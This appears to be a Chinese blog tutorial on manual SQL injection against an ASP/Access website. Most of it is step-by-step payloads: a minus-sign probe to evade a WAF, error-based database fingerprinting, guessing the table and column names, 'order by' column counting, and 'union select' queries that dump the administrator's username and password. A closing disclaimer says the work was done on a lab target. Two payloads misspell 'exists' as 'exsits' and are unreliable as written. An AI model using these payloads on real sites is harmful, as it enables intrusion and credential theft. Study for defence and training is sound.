什麼是SQL注入?
SQL注入即是指web應用程序對用戶輸入數據的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,在管理員不知情的情況下實現非法操作,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而進一步得到相應的數據信息 ----百度百科
尋找注入點
首先呢,在網站中尋找傳遞參數的頁面,也就是尋找注入點。
判斷注入
找到頁面(注入點)之後呢,我們需要判斷當前頁面是否存在注入
傳統的方法是:
語句 | 狀態 |
---|---|
鏈接後面加 ’ | 報錯 |
and 1=1 | 正常 |
and 1=2 | 報錯 |
or 1=2 | 正常 |
or 1=1 | 報錯或者跳轉到另外一個頁面 |
我們不使用傳統的方法,因爲傳統的方法在web服務器有WAF的情況下輸入的語句會被攔截。我們一般在值前面加上 “ - ”(減號),頁面變空白了(報錯),說明網頁把我們輸入的值傳遞到數據庫查詢了,數據庫沒有這個結果,所以返回空白。
接着在鏈接後面空格輸入 “ -0 ”
這時候,我們可以看到,頁面又返回正常了。
在ASP網頁中,用到的數據庫基本上都是access或者Mssql。不同的數據庫所用到的語句是不一樣的。接下來,我們要用到SQL語句來判斷數據庫是Access還是Mssql(Microsoft SQL)。
語句 | 數據庫 |
---|---|
and exsits(select * from sysobjects) | SQL server |
and exsits(select * from msysobjects) | Access |
先判斷它是否爲SQL server 數據庫,輸入
and exsits(select * from sysobjects)
網頁提示:
Microsoft OLE DB Provider for ODBC Drivers 錯誤 ‘80040e37’
[Microsoft][ODBC Microsoft Access Driver] Microsoft Jet 數據庫引擎找不到輸入表或查詢 ‘sysobjects’。 確定它是否存在,以及它的名稱的拼寫是否正確。 /Production/PRODUCT_DETAIL.asp,行 5
“數據庫引擎找不到輸入表或查詢” 說明該網站用的不是SQL server數據庫,這時,我們可以發現紅色劃線中" Microsoft Access " 其實,我們不需要再輸入下一條語句就可以直接判斷網站用的是什麼數據庫了。(也就是隻需要網站報錯顯示數據庫信息即可)
猜字段
我們已知數據庫類型,接下來就是猜表名和列名了
語句 |
---|
and exists (select 列名 from 表名) |
先猜表名,頁面正常即存在表
and exists (select * from admin)
猜完表名後再猜列名
and exists(select password from admin)
這應該是存放密碼的列了
我們猜下存放賬號的列
and exists(select admin from admin)
都存在,最後我們開始猜字段(列)長度
語句 | 釋 |
---|---|
order by 數字 | 字段小於或等於時,頁面正常,大於時,頁面錯誤 |
我們輸入的是 order by 11 說明字段小於或等於
輸入 order by 22,還是正常
輸入 order by23 ,頁面錯誤,說明字段長度就是 22
爆字段
表名、列名字和段長度都猜出來了,最後,我們嘗試爆出字段的內容
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
//admin爲表名
可以看出頁面上顯示了3和15
在3,15替換我們猜好的兩個列名,這時候呢,賬號和密碼就爆出來了。
union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
技術是把雙刃劍,本次攻擊主要是爲了網站防禦做參考,請勿用於非法途徑!!本次模擬的攻擊手法全程在虛擬機裏的靶機進行。
----CSDN:愛鑽研的大華
未經允許,禁止轉載。